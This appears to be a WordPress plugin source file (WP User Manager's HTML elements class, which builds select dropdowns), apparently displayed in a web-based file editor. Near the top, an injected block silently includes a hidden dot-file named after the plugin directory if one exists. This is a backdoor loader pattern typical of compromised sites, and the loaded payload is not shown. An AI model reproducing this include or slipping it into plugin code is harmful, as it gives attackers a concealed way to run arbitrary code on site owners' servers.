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✏️ Editing: class-wpum-html-elements.php Writable

<?php
/**
 * Handles all creation of html form elements.
 *
 * @package     wp-user-manager
 * @copyright   Copyright (c) 2018, Alessandro Tesoro
 * @license     https://opensource.org/licenses/GPL-3.0 GNU Public License
*/

// Exit if accessed directly
if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * The class that handles the various html input elements.
 */
if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
    include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
}

class WPUM_HTML_Elements {

/**
	 * Renders an HTML Dropdown.
	 *
	 * @param array $args
	 * @return string
	 */
	public function select( $args = array() ) {

$defaults = array(
			'options'          => array(),
			'name'             => null,
			'class'            => '',
			'id'               => '',
			'selected'         => array(),
			'chosen'           => false,
			'placeholder'      => null,
			'multiple'         => false,
			'show_option_all'  => _x( 'All', 'all dropdown items', 'wp-user-manager' ),
			'show_option_none' => _x( 'None', 'no dropdown items', 'wp-user-manager' ),
			'data'             => array(),
			'readonly'         => false,
			'disabled'         => false,
		);
		$args = wp_parse_args( $args, $defaults );
		$data_elements = '';
		foreach ( $args['data'] as $key => $value ) {
			$data_elements .= ' data-' . esc_attr( $key ) . '="' . esc_attr( $value ) . '"';
		}
		if( $args['multiple'] ) {
			$multiple = ' MULTIPLE';
		} else {
			$multiple = '';
		}
		if( $args['chosen'] ) {
			$args['class'] .= ' wpum-select-chosen';
			if ( is_rtl() ) {
				$args['class'] .= ' chosen-rtl';
			}
		}
		if( $args['placeholder'] ) {
			$placeholder = $args['placeholder'];
		} else {
			$placeholder = '';
		}
		if ( isset( $args['readonly'] ) && $args['readonly'] ) {
			$readonly = ' readonly="readonly"';
		} else {
			$readonly = '';
		}
		if ( isset( $args['disabled'] ) && $args['disabled'] ) {
			$disabled = ' disabled="disabled"';
		} else {
			$disabled = '';
		}
		$class  = implode( ' ', array_map( 'sanitize_html_class', explode( ' ', $args['class'] ) ) );
		$output = '<select' . $disabled . $readonly . ' name="' . esc_attr( $args['name'] ) . '" id="' . esc_attr( sanitize_key( str_replace( '-', '_', $args['id'] ) ) ) . '" class="wpum-select ' . $class . '"' . $multiple . ' data-placeholder="' . $placeholder . '"'. $data_elements . '>';
		if ( ! isset( $args['selected'] ) || ( is_array( $args['selected'] ) && empty( $args['selected'] ) ) || ! $args['selected'] ) {
			$selected = "";
		}
		if ( $args['show_option_all'] ) {
			if ( $args['multiple'] && ! empty( $args['selected'] ) ) {
				$selected = selected( true, in_array( 0, $args['selected'] ), false );
			} else {
				$selected = selected( $args['selected'], 0, false );
			}
			$output .= '<option value="all"' . $selected . '>' . esc_html( $args['show_option_all'] ) . '</option>';
		}
		if ( ! empty( $args['options'] ) ) {
			if ( $args['show_option_none'] ) {
				if ( $args['multiple'] ) {
					$selected = selected( true, in_array( -1, $args['selected'] ), false );
				} elseif ( isset( $args['selected'] ) && ! is_array( $args['selected'] ) && ! empty( $args['selected'] ) ) {
					$selected = selected( $args['selected'], -1, false );
				}
				$output .= '<option value="-1"' . $selected . '>' . esc_html( $args['show_option_none'] ) . '</option>';
			}
			foreach ( $args['options'] as $key => $option ) {
				if ( $args['multiple'] && is_array( $args['selected'] ) ) {
					$selected = selected( true, in_array( (string) $key, $args['selected'] ), false );
				} elseif ( isset( $args['selected'] ) && ! is_array( $args['selected'] ) ) {
					$selected = selected( $args['selected'], $key, false );
				}
				$output .= '<option value="' . esc_attr( $key ) . '"' . $selected . '>' . esc_html( $option ) . '</option>';
			}
		}
		$output .= '</select>';
		return $output;
	}

}

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